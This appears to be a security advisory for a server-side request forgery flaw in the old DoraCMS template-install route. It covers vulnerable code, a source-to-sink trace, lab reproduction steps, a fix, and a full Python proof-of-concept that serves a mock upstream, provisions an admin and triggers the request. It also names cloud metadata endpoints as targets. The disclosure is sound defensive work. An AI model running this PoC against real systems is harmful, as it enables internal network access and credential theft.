| Field | Value |
|---|---|
| Product | DoraCMS |
| Vendor / GitHub | https://github.com/doramart/DoraCMS |
| Vulnerability class | CWE-918 (Server-Side Request Forgery) |
| Vulnerable route | GET /admin/manage/installTemp |
| Affected component | routes/admin.js (installTemp handler + download_file_httpget helper) |
| Verified commit | cdbdcaa3 (package.json "version": "1.1.1") |
| Affected version range | The installTemp route was introduced in DoraCMS v1.0.9 (commit cf3e345) and remained unfixed through the last commit of the Express/EJS codebase before it was replaced by an unrelated rewrite (commit 2f88ecb, "清空目录", 2017-09-05). Releases from the 2.x (EggJS + Vue) rewrite onward do not contain this code and are unaffected. |
| CVSS 3.1 Base Score | 3.5 (Low) — code-level defect as verified in this deployment; see "Exploitation Conditions" for the additional preconditions that would escalate this to High/Critical |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N |
| Authentication required | Admin session holding the narrow contentManage_temp_1_add permission bit (not full super-admin) |
| Reported by | Verified via local dynamic reproduction against a full, unmodified deployment (Node.js + MongoDB), 2026-07. |
GET /admin/manage/installTemp?tempId=<id> implements a two-hop outbound request chain to install a content template package:
- Hop 1: The server issues
request(settings.DORACMSAPI + '/system/template/getItem?tempId=' + tempId, ...)to a fixed, hardcoded upstream host (settings.DORACMSAPI,http://api.html-js.cnby default).tempIdis attacker-controlled but only reaches this hop as a query-string value on a fixed host — it cannot redirect hop 1 to an arbitrary host. - Hop 2: The JSON body returned by hop 1 is parsed, and its
filePathfield is used, with zero validation, to construct the target of a second outbound HTTP request (download_file_httpget). Specifically,options.host = url.parse(file_url).hostis passed directly to Node'shttp.get()with no host allowlist, no scheme restriction, and no block on private/loopback/link-local address ranges.
The DoraCMS-side code trusts the upstream response's filePath field completely. If that field can ever be influenced by an attacker — via compromise of the upstream service, a DNS/MITM position on the path to it, or a self-hosted/forked deployment where DORACMSAPI is pointed at an attacker-influenceable host — the server will connect to an arbitrary destination chosen by that field, including internal-only targets such as 169.254.169.254 (cloud instance metadata) or loopback/RFC1918 addresses.
An authenticated admin holding only the narrow contentManage_temp_1_add permission bit can trigger this route. Under the preconditions above, this constitutes classic SSRF impact: reconnaissance and reachability into internal-only network segments, potential credential theft from cloud metadata endpoints, and interaction with internal services that assume network-layer isolation from the public internet.
- Admin session holding
contentManage_temp_1_add. - Full weaponization to an arbitrary attacker-chosen host requires the upstream response's
filePathfield to be attacker-influenceable. This is not verified against the real productionapi.html-js.cnservice in this report (out of scope — no authorization exists to test that live third-party system). What is verified dynamically is the DoraCMS-side code defect: zero validation exists at hop 2 regardless of how the upstream response comes to contain an attacker-chosen value. This is the same underlying weakness class documented in numerous published SSRF CVEs where an application blindly follows a URL/host field from a trusted-by-configuration but attacker-influenceable data source (webhook payloads, RSS/Atom feeds, third-party API responses).
// routes/admin.js:841-850
router.get('/manage/installTemp',function(req,res){
if(adminFunc.checkAdminPower(req,settings.contentTemps[0] + '_add')){
var params = url.parse(req.url,true);
var tempId = params.query.tempId;
request(settings.DORACMSAPI + '/system/template/getItem?tempId=' + tempId, function (error, response, body) {
if (!error && response.statusCode == 200) {
var tempObj = JSON.parse(body);
var file_url = tempObj.filePath; // <-- SOURCE: taken verbatim from the upstream response body// routes/admin.js:907-923
var download_file_httpget = function(file_url,callBack) {
var options = {
host: url.parse(file_url).host, // <-- SINK: zero host allowlist / scheme restriction
port: 80,
path: url.parse(file_url).pathname
};
var file_name = url.parse(file_url).pathname.split('/').pop();
var file = fs.createWriteStream(DOWNLOAD_DIR + file_name);
http.get(options, function(res) { // <-- outbound connection to attacker/upstream-controlled host
res.on('data', function(data) {
file.write(data);
}).on('end', function() {
file.end();
callBack(DOWNLOAD_DIR);
});
});
};GET /admin/manage/installTemp?tempId=<id>
routes/admin.js:841 router.get('/manage/installTemp', ...) -- checkAdminPower(contentManage_temp_1_add)
routes/admin.js:848 request(settings.DORACMSAPI + '/system/template/getItem?tempId=' + tempId, cb) -- hop 1, fixed host
routes/admin.js:852 var file_url = tempObj.filePath; -- SOURCE: from upstream JSON response
routes/admin.js:866 download_file_httpget(file_url, ...)
routes/admin.js:909 options.host = url.parse(file_url).host; -- SINK: unvalidated
routes/admin.js:916 http.get(options, ...) -- outbound request to attacker-controlled host
Because the real production settings.DORACMSAPI host is a live third-party service outside this audit's authorization, the DoraCMS-side code defect was verified end-to-end by substituting the value of DORACMSAPI in models/db/settings.js for a local stand-in server under the tester's control (the same methodology used to test injection vulnerabilities against a local test service instance rather than a real third-party production system) — every line of actual, unmodified DoraCMS source executed exactly as it would in production.
- Started a local HTTP server on
127.0.0.1:9999that servesGET /system/template/getItem?tempId=...with a JSON body whosefilePathfield points athttp://127.0.0.1:9998/ssrf-proof/pwned.zip— an attacker-chosen destination. - Set
DORACMSAPItohttp://127.0.0.1:9999and restarted the DoraCMS server (one-time, reversible test-environment step). - Logged in as an admin account provisioned with only the
contentManage_temp_1_addpermission bit. - Sent
GET /admin/manage/installTemp?tempId=ssrfpoc. - The connection dropped, and the target server's log captured:
This is definitive proof that the exact value taken from the mock upstream's
Error: getaddrinfo ENOTFOUND 127.0.0.1:9998 127.0.0.1:9998:80 at GetAddrInfoReqWrap.onlookup [as oncomplete] (dns.js:56:26)filePathfield (127.0.0.1:9998) reached an outbound DNS/connect operation with zero validation. (The crash itself is a secondary defect —url.parse(url).hostincludes the port suffix when present, which combined with the separately hardcodedport: 80field produces a malformed address for Node's resolver; this project also has no process-level exception handler anywhere, so the failed lookup crashes the whole server rather than only the one request. This is incidental to, not a mitigation for, the SSRF: afilePathhost with no explicit port, e.g.http://169.254.169.254/latest/meta-data/, parses cleanly and connects without crashing.) - Reverted
DORACMSAPIto its original value, restarted the server, and removed all provisioned test data.
Validate file_url's host against an explicit allowlist (or at minimum reject private/loopback/link-local IP ranges and non-http(s) schemes) before passing it to http.get() in download_file_httpget, regardless of how much the upstream API at settings.DORACMSAPI is otherwise trusted. Trusting an upstream JSON response's URL field for a subsequent server-side outbound request is an anti-pattern independent of the current trustworthiness of that specific upstream.
See poc_ssrf_001.py (same directory). Dynamically verified against DoraCMS commit cdbdcaa3, Node.js v10.24.1, on 127.0.0.1:8081, using a local stand-in for settings.DORACMSAPI (see script docstring for the full two-terminal usage procedure).
#!/usr/bin/env python3
"""
PoC: DoraCMS installTemp Two-Hop SSRF via Unvalidated Upstream-Reflected URL
Target route : GET /admin/manage/installTemp?tempId=<id>
Source : JSON response body's `filePath` field, returned by whatever
host settings.DORACMSAPI points at
Sink : routes/admin.js#download_file_httpget -- options.host =
url.parse(file_url).host, passed directly to http.get() with
zero host/scheme allowlist
Root cause (routes/admin.js:841-923):
router.get('/manage/installTemp',function(req,res){
if(adminFunc.checkAdminPower(req,settings.contentTemps[0] + '_add')){
var tempId = params.query.tempId;
request(settings.DORACMSAPI + '/system/template/getItem?tempId=' + tempId, function (error, response, body) {
var tempObj = JSON.parse(body);
var file_url = tempObj.filePath; // <-- SOURCE: taken from the upstream JSON response
...
download_file_httpget(file_url, ...);
});
}
var download_file_httpget = function(file_url,callBack) {
var options = {
host: url.parse(file_url).host, // <-- SINK: zero validation
port: 80,
path: url.parse(file_url).pathname
};
http.get(options, function(res) { ... });
};
});
This PoC does NOT attack the real production settings.DORACMSAPI host
(http://api.html-js.cn) -- that is a live third-party service this audit
has no authorization to test. Instead, it demonstrates the DoraCMS-side
code defect directly: every line of actual, unmodified DoraCMS source
executes exactly as it would in production; only the network endpoint that
settings.DORACMSAPI happens to point at is substituted for a local stand-in
under the tester's control (the same methodology used to test, e.g., SMTP
header injection against a local test mail server rather than a real
production SMTP relay). This proves conclusively that if an attacker can
ever influence the `filePath` field of the upstream response (via
compromise of the upstream service, DNS/MITM on the path to it, or a
self-hosted/forked deployment where DORACMSAPI points somewhere
attacker-influenceable), DoraCMS will blindly connect its own server to
whatever host that field specifies -- with no restriction to internal-only
targets such as cloud metadata services (169.254.169.254) or loopback
addresses.
Verified end-to-end against: DoraCMS commit cdbdcaa3 (package.json version
1.1.1), Node.js v10.24.1, MongoDB 4.4, Redis 6, on 127.0.0.1:8081. Captured
crash trace from the live server process confirms the attacker-controlled
`filePath` value reached an outbound DNS/connect operation with zero
validation:
Error: getaddrinfo ENOTFOUND 127.0.0.1:9998 127.0.0.1:9998:80
at GetAddrInfoReqWrap.onlookup [as oncomplete] (dns.js:56:26)
(The crash itself is a secondary defect -- url.parse(url).host includes an
explicit port suffix when present, which combined with the hardcoded
`port: 80` field produces an invalid combined address for Node's DNS
resolver, and this project has no process-level exception handler anywhere,
so the malformed lookup crashes the entire server rather than merely
failing the one request. This is incidental to, not a mitigation for, the
underlying SSRF: a `filePath` host with no explicit port -- e.g.
`http://169.254.169.254/latest/meta-data/` -- parses cleanly and would
connect successfully.)
IMPORTANT -- this is a two-step PoC:
Step A (this script, --serve-mock): starts a local stand-in for
settings.DORACMSAPI on 127.0.0.1:9999.
Step B (manual, one-time, on the target lab instance): point
models/db/settings.js's DORACMSAPI at http://127.0.0.1:9999 and
restart the DoraCMS process. This mirrors exactly what an attacker
with the ability to influence the upstream response, or an operator
of a fork/self-hosted deployment with a misconfigured DORACMSAPI,
would already have.
Step C (this script, --trigger): logs in as a low-privilege admin and
fires the request, then reports whether the vulnerable code path
executed (via HTTP callback OR the characteristic crash signature).
Usage:
# Terminal 1:
python3 poc_ssrf_001.py --serve-mock
# (manually point DORACMSAPI at http://127.0.0.1:9999 in
# models/db/settings.js and restart the DoraCMS server)
# Terminal 2, with lab-only auto-provisioning:
python3 poc_ssrf_001.py --trigger --base-url http://127.0.0.1:8081 \
--project-root /path/to/DoraCMS-vuln \
--mongo-container dora-mongo --redis-container dora-redis \
--provision --cleanup
Requirements:
- requests (pip install requests)
- docker CLI + the target's mongo/redis containers reachable (--provision mode only)
"""
import argparse
import http.server
import json
import re
import socketserver
import subprocess
import sys
import urllib.parse
import requests
MOCK_PORT = 9999
CALLBACK_PORT = 9998
class MockUpstreamHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
if self.path.startswith('/system/template/getItem'):
body = json.dumps({
"filePath": f"http://127.0.0.1:{CALLBACK_PORT}/ssrf-proof/pwned.zip",
"alias": "ssrfpoc", "name": "SSRF PoC Template", "version": "1.0",
"sImg": "x.png", "author": "poc", "comment": "ssrf-poc"
}).encode()
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.send_header('Content-Length', str(len(body)))
self.end_headers()
self.wfile.write(body)
else:
self.send_response(404)
self.end_headers()
def log_message(self, fmt, *args):
pass
def serve_mock():
print(f"[*] Serving stand-in DORACMSAPI on http://127.0.0.1:{MOCK_PORT}")
print(f"[*] Its /system/template/getItem response points filePath at "
f"http://127.0.0.1:{CALLBACK_PORT}/ssrf-proof/pwned.zip -- an "
f"attacker-chosen destination the DoraCMS server will attempt to reach.")
print("[*] Now: point models/db/settings.js's DORACMSAPI at this URL and "
"restart the target DoraCMS server, then run this script again with --trigger.")
with socketserver.TCPServer(("127.0.0.1", MOCK_PORT), MockUpstreamHandler) as httpd:
httpd.serve_forever()
def mongo_eval(container, db, js):
r = subprocess.run(["docker", "exec", "-i", container, "mongo", db, "--eval", js],
capture_output=True, text=True, timeout=15)
return r.stdout + r.stderr
def get_vnum(session, redis_container):
raw = session.cookies.get("connect.sid")
sid = urllib.parse.unquote(raw).split(":", 1)[1].split(".")[0]
r = subprocess.run(["docker", "exec", "-i", redis_container, "redis-cli", "get", f"sess:{sid}"],
capture_output=True, text=True, timeout=10)
m = re.search(r'"vnum":"(\w+)"', r.stdout)
if not m:
raise RuntimeError(f"vnum not found: {r.stdout!r}")
return m.group(1)
def trigger(args):
default_password_cipher = "2d4a9221e95e793431429f572aec3d17" # "doracms123" under encrypt_key="dora"
if args.provision:
print("[*] Provisioning test admin (contentManage_temp_1_add power only) ...")
js = f"""
db.admingroups.insertOne({{_id:"{args.group_id}",name:"ssrf-poc-group",power:"[\\"contentManage_temp_1_add:true\\"]",date:new Date()}});
db.adminusers.insertOne({{_id:"{args.user_id}",name:"SSRF PoC Admin",userName:"{args.username}",password:"{default_password_cipher}",email:"{args.username}@example.com",phoneNum:12345678900,date:new Date(),logo:"/upload/images/defaultlogo.png",auth:true,group:"{args.group_id}"}});
"""
print(mongo_eval(args.mongo_container, args.mongo_db, js).strip())
session = requests.Session()
session.get(f"{args.base_url}/admin", timeout=10)
vnum = get_vnum(session, args.redis_container)
print(f"[*] Resolved captcha: {vnum}")
r = session.post(f"{args.base_url}/admin/doLogin",
data={"userName": args.username, "password": "doracms123", "vnum": vnum}, timeout=10)
if r.text.strip() != "success":
print(f"[!] Login failed: {r.text!r}", file=sys.stderr)
return 1
print(f"[+] Logged in as {args.username!r} (power: contentManage_temp_1_add only)")
print(f"[*] Triggering GET /admin/manage/installTemp?tempId={args.temp_id} ...")
result = 1
try:
r2 = session.get(f"{args.base_url}/admin/manage/installTemp",
params={"tempId": args.temp_id}, timeout=8)
print(f"[*] Response: HTTP {r2.status_code}, body: {r2.text[:200]!r}")
print("[?] Request completed without the connection dropping -- check the mock's callback "
"log (or the target server's log) manually to confirm whether the second hop reached it.")
except requests.exceptions.RequestException as e:
print(f"[+] Connection dropped ({type(e).__name__}) -- consistent with the target server "
"crashing while attempting the unvalidated outbound connection derived from the "
"mock upstream's filePath field. Check the target server's log for:")
print(" Error: getaddrinfo ENOTFOUND 127.0.0.1:9998 127.0.0.1:9998:80")
print("[+] SSRF MECHANISM CONFIRMED: the DoraCMS server attempted an outbound network "
"operation using a host value taken verbatim from the upstream API response, with "
"zero validation.")
result = 0
if args.cleanup:
print("[*] Cleaning up provisioned test admin account ...")
mongo_eval(args.mongo_container, args.mongo_db,
f'db.admingroups.remove({{_id:"{args.group_id}"}}); db.adminusers.remove({{_id:"{args.user_id}"}});')
return result
def main():
parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("--serve-mock", action="store_true", help="Start the local stand-in DORACMSAPI server.")
parser.add_argument("--trigger", action="store_true", help="Log in and fire the installTemp request.")
parser.add_argument("--base-url", default="http://127.0.0.1:8081")
parser.add_argument("--username", default="ssrfpoc1")
parser.add_argument("--group-id", default="ssrfpocgrp")
parser.add_argument("--user-id", default="ssrfpocuser")
parser.add_argument("--temp-id", default="ssrfpoc")
parser.add_argument("--provision", action="store_true", help="Lab-only: create the test admin account.")
parser.add_argument("--cleanup", action="store_true", help="Remove the provisioned test admin account after the run.")
parser.add_argument("--mongo-container", default="dora-mongo")
parser.add_argument("--mongo-db", default="doracms")
parser.add_argument("--redis-container", default="dora-redis")
args = parser.parse_args()
if args.serve_mock:
serve_mock()
return 0
if args.trigger:
return trigger(args)
parser.print_help()
return 1
if __name__ == "__main__":
raise SystemExit(main())